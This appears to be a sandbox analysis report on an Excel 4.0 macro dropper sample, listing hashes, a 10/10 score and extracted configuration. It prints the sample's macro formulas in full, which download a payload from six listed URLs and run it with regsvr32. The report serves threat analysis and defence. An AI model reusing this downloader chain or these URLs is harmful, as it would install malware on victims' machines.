General

  • Target

    0b133c331dbc662e5af6b8fe1b58157653a958c878f9029bf0fdb8686ce0ca20

  • Size

    40KB

  • Sample

    241120-mryenazpbq

  • MD5

    cc8b5fee0ec76ba6679e3ca2f380c05b

  • SHA1

    af00cfc5df82e5be83e9517e2dfb5fdc7f2d1fe6

  • SHA256

    0b133c331dbc662e5af6b8fe1b58157653a958c878f9029bf0fdb8686ce0ca20

  • SHA512

    9d8ec69c0de47817f33dbde2206f0fa88ae32f89b23aff19553b6439b2510c89605344c289a479b2a09634a3d021017e21e469ea64a73a789da26ae154191280

  • SSDEEP

    768:ytby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:qbunC5iymqylND59V4jwmXc2Xy3

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

http://en.pachammer.com/wp-content/vIG/

http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/

http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/

http://www.aacitygroup.com/wp-content/EkY9/

https://theoutsourcedaccountant.com/images/nFikTQmP/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://en.pachammer.com/wp-content/vIG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.aacitygroup.com/wp-content/EkY9/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://theoutsourcedaccountant.com/images/nFikTQmP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

Targets

    • Target

      0b133c331dbc662e5af6b8fe1b58157653a958c878f9029bf0fdb8686ce0ca20

    • Size

      40KB

    • MD5

      cc8b5fee0ec76ba6679e3ca2f380c05b

    • SHA1

      af00cfc5df82e5be83e9517e2dfb5fdc7f2d1fe6

    • SHA256

      0b133c331dbc662e5af6b8fe1b58157653a958c878f9029bf0fdb8686ce0ca20

    • SHA512

      9d8ec69c0de47817f33dbde2206f0fa88ae32f89b23aff19553b6439b2510c89605344c289a479b2a09634a3d021017e21e469ea64a73a789da26ae154191280

    • SSDEEP

      768:ytby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:qbunC5iymqylND59V4jwmXc2Xy3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks